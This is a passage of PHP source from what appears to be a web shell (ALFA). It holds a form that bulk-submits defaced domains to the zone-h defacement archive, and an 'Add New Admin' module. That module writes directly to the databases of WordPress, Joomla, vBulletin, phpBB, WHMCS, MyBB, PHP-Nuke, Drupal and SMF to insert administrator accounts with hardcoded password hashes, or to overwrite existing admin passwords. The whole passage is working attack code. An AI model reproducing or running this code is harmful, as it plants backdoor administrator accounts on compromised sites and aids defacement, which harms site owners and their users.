  3847. foreach($reason as $mode){echo('<option style="background-color: rgb(F, F, F);" value="'.$x.'">'.$mode.'</option>');$x++;}
  3848. echo '</select><br>
  3849. <textarea name="domain" cols="90" rows="20" placeholder="Domains..."></textarea><br>
  3850. <p><input type="submit" value=" " name="go" /></p>
  3851. </form></center>';
  3852. if($_POST['alfa5'] && $_POST['alfa5'] == '>>'){
  3853. ob_start();
  3854. $hacker = $_POST['alfa1'];
  3855. $method = $_POST['alfa2'];
  3856. $neden = $_POST['alfa3'];
  3857. $site = $_POST['alfa4'];
  3858. if(empty($hacker)){
  3859. die (__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST FILL THE ATTACKER NAME [+]</font></b></center>");
  3860. }elseif($method == "------------------------------------SELECT-------------------------------------"){
  3861. die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE METHOD [+]</b></font></center>");
  3862. }elseif($neden == "------------------------------------SELECT-------------------------------------"){
  3863. die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST SELECT THE REASON [+]</b></font></center>");
  3864. }elseif(empty($site)){
  3865. die(__pre()."<center><b><font color =\"#FF0000\">[+] YOU MUST INTER THE SITES LIST [+]<font></b></center>");
  3866. }
  3867. $i = 0;
  3868. $sites = explode("\n", $site);
  3869. $alfa = new AlfaCURL();
  3870. while($i < count($sites)){
  3871. if(substr($sites[$i], 0, 4) != "http"){
  3872. $sites[$i] = "http://".$sites[$i];
  3873. }
  3874. $alfa->Send("http://www.zone-h.com/notify/single","post","defacer=".$hacker."&domain1=". $sites[$i]."&hackmode=".$method."&reason=".$neden);
  3875. ++$i;
  3876. }
  3877. echo __pre()."<center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
  3878. }
  3879. echo "</div>";
  3880. alfafooter();
  3881. }
  3882. function alfapwchanger(){
  3883. alfahead();
  3884.  
  3885. echo '<div class=header><center><br><div class="txtfont_header">| Add New Admin |</div>
  3886. <center><h3>';
  3887. $vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
  3888. Alfa_Create_A_Tag('pwchanger',$vals);
  3889. echo '</h3></center>';
  3890. if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){
  3891.  
  3892. echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
  3893. <p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  3894. $table = array('td1' =>
  3895. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3896. 'td2' =>
  3897. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  3898. 'td3' =>
  3899. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  3900. 'td4' =>
  3901. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  3902. 'td5' =>
  3903. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
  3904. 'td6' =>
  3905. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  3906. 'td7' =>
  3907. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  3908. 'td8' =>
  3909. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  3910. );
  3911. create_table($table);
  3912. echo '<p><input value=" " name="send" type="submit"></p></form>';
  3913. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
  3914. $localhost = $_POST['alfa3'];
  3915. $database = $_POST['alfa4'];
  3916. $username = $_POST['alfa5'];
  3917. $password = $_POST['alfa6'];
  3918. $admin = $_POST['alfa8'];
  3919. $SQL = $_POST['alfa9'];
  3920. $prefix = $_POST['alfa10'];
  3921. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  3922. $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
  3923. $solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
  3924. $sole = @mysqli_num_rows($solevisible);
  3925. if ($sole == 1){
  3926. $solevis = @mysqli_fetch_assoc($solevisible);
  3927. $res = $solevis['ID'];
  3928. }
  3929. $solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
  3930. if($solevisible){
  3931. __alert('Success... '.$admin.' is created...');}
  3932. }
  3933. }
  3934. if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){
  3935.  
  3936. echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
  3937. $table = array('td1' =>
  3938. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3939. 'td2' =>
  3940. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  3941. 'td3' =>
  3942. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  3943. 'td4' =>
  3944. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  3945. 'td5' =>
  3946. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
  3947. 'td6' =>
  3948. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  3949. 'td7' =>
  3950. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  3951. 'td8' =>
  3952. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  3953. );
  3954. create_table($table);
  3955. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  3956. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  3957. $localhost = $_POST['alfa3'];
  3958. $database = $_POST['alfa4'];
  3959. $username = $_POST['alfa5'];
  3960. $password = $_POST['alfa6'];
  3961. $admin = $_POST['alfa8'];
  3962. $SQL = $_POST['alfa9'];
  3963. $prefix = $_POST['alfa10'];
  3964. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  3965. $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  3966. $solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
  3967. $sole =@mysqli_num_rows($solevisible);
  3968. if ($sole == 1){
  3969. $solevis =@mysqli_fetch_assoc($solevisible);
  3970. $res = $solevis['id'];
  3971. }
  3972. $solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
  3973. if($solevisible){
  3974. __alert('Success... '.$admin.' is created...');}
  3975. }
  3976. }
  3977. if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){
  3978.  
  3979. echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
  3980. $table = array('td1' =>
  3981. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3982. 'td2' =>
  3983. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  3984. 'td3' =>
  3985. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  3986. 'td4' =>
  3987. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  3988. 'td5' =>
  3989. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  3990. 'td6' =>
  3991. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  3992. 'td7' =>
  3993. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  3994. 'td8' =>
  3995. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  3996. );
  3997. create_table($table);
  3998. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  3999. if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4000. $localhost = $_POST['alfa2'];
  4001. $database = $_POST['alfa3'];
  4002. $username = $_POST['alfa5'];
  4003. $password = $_POST['alfa6'];
  4004. $prefix = $_POST['alfa7'];
  4005. $admin = $_POST['alfa8'];
  4006. $SQL = $_POST['alfa9'];
  4007. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
  4008. $pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
  4009. $pw_col = @mysqli_num_rows($pw_col);
  4010. $adm_perm = "16744444";
  4011. if($pw_col > 0){
  4012. $solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
  4013. }else{
  4014. $adm_perm = "2143256444";
  4015. $solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
  4016. }
  4017. $solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
  4018. $sole = mysqli_num_rows($solevisible);
  4019. if($sole == 1){
  4020. $solevis = mysqli_fetch_assoc($solevisible);
  4021. $res = $solevis['userid'];
  4022. }
  4023. $solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
  4024. if($solevisible){
  4025. __alert('Success... '.$admin.' is created...');}
  4026. }
  4027. }
  4028. if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){
  4029.  
  4030. echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  4031. $table = array('td1' =>
  4032. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4033. 'td2' =>
  4034. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4035. 'td3' =>
  4036. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4037. 'td4' =>
  4038. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4039. 'td5' =>
  4040. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4041. 'td6' =>
  4042. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4043. 'td7' =>
  4044. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4045. 'td8' =>
  4046. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4047. );
  4048. create_table($table);
  4049. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4050. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4051. $localhost = $_POST['alfa2'];
  4052. $database = $_POST['alfa3'];
  4053. $username = $_POST['alfa4'];
  4054. $password = $_POST['alfa6'];
  4055. $admin = $_POST['alfa8'];
  4056. $SQL = $_POST['alfa9'];
  4057. $prefix = $_POST['alfa10'];
  4058. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4059. $hash = md5('solevisible');
  4060. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4061. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4062. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
  4063. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
  4064. $solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
  4065. if($solevisible){
  4066. __alert('Success... '.$admin.' is created...');
  4067. }
  4068. }
  4069. }
  4070. if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){
  4071.  
  4072. echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
  4073. $table = array('td1' =>
  4074. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4075. 'td2' =>
  4076. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4077. 'td3' =>
  4078. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4079. 'td4' =>
  4080. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4081. 'td6' =>
  4082. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4083. 'td7' =>
  4084. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4085. 'td8' =>
  4086. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4087. );
  4088. create_table($table);
  4089. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4090. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4091. $localhost = $_POST['alfa2'];
  4092. $database = $_POST['alfa3'];
  4093. $username = $_POST['alfa4'];
  4094. $password = $_POST['alfa5'];
  4095. $admin = $_POST['alfa8'];
  4096. $SQL = $_POST['alfa9'];
  4097. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4098. $solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
  4099. if($solevisible){
  4100. __alert('Success... '.$admin.' is created...');}
  4101. }
  4102. }
  4103. if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){
  4104.  
  4105. echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
  4106. $table = array('td1' =>
  4107. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4108. 'td2' =>
  4109. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4110. 'td3' =>
  4111. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4112. 'td4' =>
  4113. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4114. 'td5' =>
  4115. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4116. 'td6' =>
  4117. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4118. 'td7' =>
  4119. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4120. 'td8' =>
  4121. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4122. );
  4123. create_table($table);
  4124. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4125. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4126. $localhost = $_POST['alfa2'];
  4127. $database = $_POST['alfa3'];
  4128. $username = $_POST['alfa4'];
  4129. $password = $_POST['alfa5'];
  4130. $admin = $_POST['alfa8'];
  4131. $SQL = $_POST['alfa9'];
  4132. $prefix = $_POST['alfa10'];
  4133. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4134. $solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
  4135. if($solevisible){
  4136. __alert('Success... '.$admin.' is created...');}
  4137. }
  4138. }
  4139. if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){
  4140.  
  4141. echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
  4142. $table = array('td1' =>
  4143. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4144. 'td2' =>
  4145. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4146. 'td3' =>
  4147. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4148. 'td4' =>
  4149. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4150. 'td5' =>
  4151. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
  4152. 'td6' =>
  4153. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4154. 'td7' =>
  4155. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4156. 'td8' =>
  4157. array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
  4158. );
  4159. create_table($table);
  4160. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4161. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4162. $localhost = $_POST['alfa2'];
  4163. $database = $_POST['alfa3'];
  4164. $username = $_POST['alfa4'];
  4165. $password = $_POST['alfa5'];
  4166. $admin = $_POST['alfa7'];
  4167. $SQL = $_POST['alfa9'];
  4168. $prefix = $_POST['alfa10'];
  4169. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4170. $hash = md5($pwd);
  4171. $solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
  4172. if($solevisible){
  4173. __alert('Success... '.$admin.' is created...');}
  4174. }
  4175. }
  4176. if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){
  4177.  
  4178. echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
  4179. $table = array('td1' =>
  4180. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4181. 'td2' =>
  4182. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4183. 'td3' =>
  4184. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4185. 'td4' =>
  4186. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4187. 'td6' =>
  4188. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4189. 'td7' =>
  4190. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
  4191. );
  4192. create_table($table);
  4193. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4194. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4195. $localhost = $_POST['alfa2'];
  4196. $database = $_POST['alfa4'];
  4197. $username = $_POST['alfa5'];
  4198. $password = $_POST['alfa6'];
  4199. $admin = $_POST['alfa8'];
  4200. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4201. $getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
  4202. $getDescuid = @mysqli_fetch_assoc($getDescuid);
  4203. $getDescuid = $getDescuid['uid'];
  4204. $getdescuid = $getDescuid++;
  4205. $solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
  4206. $solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
  4207. $sole = mysqli_num_rows($solevisible);
  4208. if ($sole == 1){
  4209. $solevis = mysqli_fetch_assoc($solevisible);
  4210. $res = $solevis['uid'];
  4211. }
  4212. $solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
  4213. if($solevisible){
  4214. __alert('Success... '.$admin.' is created...');}
  4215. }
  4216. }
  4217.  
  4218. if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){
  4219.  
  4220. echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
  4221. $table = array('td1' =>
  4222. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
  4223. 'td2' =>
  4224. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
  4225. 'td3' =>
  4226. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
  4227. 'td4' =>
  4228. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
  4229. 'td5' =>
  4230. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
  4231. 'td6' =>
  4232. array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
  4233. 'td7' =>
  4234. array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
  4235. );
  4236. create_table($table);
  4237. echo '<p><input value=" " name="send" type="submit"></p></form></center>';
  4238. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  4239. $localhost = $_POST['alfa2'];
  4240. $database = $_POST['alfa3'];
  4241. $username = $_POST['alfa5'];
  4242. $password = $_POST['alfa6'];
  4243. $prefix = $_POST['alfa7'];
  4244. $admin = $_POST['alfa8'];
  4245. $conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
  4246. $setpwAlg = sha1(strtolower($admin) . 'solevisible');
  4247. $solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
  4248. if($solevisible){
  4249. __alert('Success... '.$admin.' is created...');}
  4250. }
